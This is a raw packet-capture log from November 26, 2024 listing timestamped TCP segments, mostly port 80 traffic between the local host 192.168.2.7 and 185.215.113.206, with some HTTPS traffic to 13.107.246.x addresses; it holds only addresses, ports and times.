Nov 26, 2024 22:52:53.471385956 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.471436024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.471563101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.472237110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.472327948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.472351074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.472470045 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.473154068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.473284960 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.473344088 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.474160910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.474278927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.474338055 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.474986076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.475083113 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.475137949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.475864887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.475955963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.476012945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.476782084 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.476878881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.476933002 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.477735043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.477849007 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.477891922 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.478585958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.478693962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.478734016 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.479497910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.479567051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.479594946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.479638100 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.480401039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.480496883 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.480521917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.480545044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.481317043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.481364012 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.481473923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.481522083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.482203007 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.482287884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.482321024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.482426882 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.483093977 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.483139038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.483226061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.483293056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.484014034 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.484072924 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.484128952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.484172106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.484952927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.484999895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.485131979 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.485173941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.485821009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.485934019 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.485980988 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.486745119 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.486884117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.486928940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.487632990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.487673998 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.487746000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.488111019 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.488543034 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.488600969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.488662958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.488739014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.489430904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.489548922 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.529202938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.529306889 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.529311895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.529375076 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.529597998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.529740095 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.529783964 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.530491114 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.530603886 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.530652046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.531400919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.531709909 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.531761885 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.531836987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.531974077 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.532569885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.532663107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.532681942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.532795906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.533502102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.533621073 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.533624887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.533665895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.534398079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.534441948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.534512997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.534573078 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.535321951 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.535377026 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.535434961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.535478115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.536243916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.536418915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.536484003 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.537144899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.537262917 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.537313938 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.538037062 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.538142920 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.538192987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.538925886 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.539037943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.539081097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.539829016 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.539870977 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.582727909 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.582748890 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.582951069 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.582961082 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.583009958 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.583298922 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.583302975 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.583323002 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.583471060 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.583502054 CET	443	49885	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.585040092 CET	49885	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.585553885 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.585922956 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.585939884 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.586225033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.586313009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.586374044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.586419106 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.586667061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.586724043 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.586826086 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.586971998 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.586991072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.587049961 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.587131023 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.587270975 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.587280035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.587286949 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.587332964 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.587363005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.587364912 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.587409019 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.587523937 CET	49893	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.587542057 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.588164091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.588222027 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.588257074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.588296890 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.589087009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.589134932 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.589176893 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.589219093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.590001106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.590049982 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.590085983 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.590127945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.590898991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.590945959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.590976000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.591012001 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.591803074 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.591847897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.591922998 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.591969967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.592948914 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.593051910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.593108892 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.593693018 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.593713999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.593761921 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.594499111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.594544888 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.627337933 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.630811930 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.637619019 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.640405893 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.640511990 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.641669035 CET	49886	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:53.641685009 CET	443	49886	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:53.653791904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.653903008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.654015064 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.654217005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.654418945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.654478073 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.654619932 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.654669046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.655317068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.655400038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.655452013 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.656233072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.656312943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.656367064 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.657130003 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.657250881 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.657303095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.658066988 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.658114910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.658185959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.658941984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.659003019 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.659065008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.659849882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.659900904 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.659991980 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.660033941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.660756111 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.660816908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.660861969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.661678076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.661787987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.661837101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.662555933 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.662614107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.662651062 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.663472891 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.663537979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.663583994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.665163040 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.699820995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:53.819747925 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:53.833194017 CET	443	49893	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.836555004 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.836570978 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:53.836652040 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.838766098 CET	49894	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:53.838778973 CET	443	49894	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:54.021689892 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:54.021712065 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:54.021876097 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:54.021912098 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:54.025430918 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:54.025692940 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:54.025751114 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:54.136964083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.137025118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.137100935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.137187958 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.137466908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.137492895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.137516022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.137551069 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.137984037 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.138022900 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.138143063 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.138214111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.138905048 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.139025927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.139046907 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.139061928 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.139812946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.139874935 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.139928102 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.139976025 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.140702963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.140748024 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.140825033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.140866995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.141598940 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.141652107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.141681910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.141860008 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.142488956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.142553091 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.142735004 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.142788887 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.143623114 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.143668890 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.143719912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.143798113 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.144320011 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.144402027 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.144443989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.144493103 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.145253897 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.145325899 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.145354033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.145452023 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.146131039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.146183014 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.146224976 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.146296978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.147053957 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.147202015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.147222042 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.147239923 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.147962093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.148003101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.148040056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.148109913 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.148859024 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.148905993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.148989916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.149158955 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.149770021 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.149820089 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.149884939 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.150018930 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.150685072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.150737047 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.150772095 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.150809050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.151845932 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.151900053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.151904106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.151935101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.152478933 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.152537107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.152578115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.152616978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.153424025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.153482914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.153669119 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.153714895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.154285908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.154335022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.154360056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.154398918 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.155200958 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.155250072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.155360937 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.155446053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.156132936 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.156177044 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.156212091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.156249046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.157027006 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.157085896 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.157095909 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.157136917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.157960892 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:54.158010960 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:54.158041000 CET	80	49801	185.215.113.206	192.168.2.7
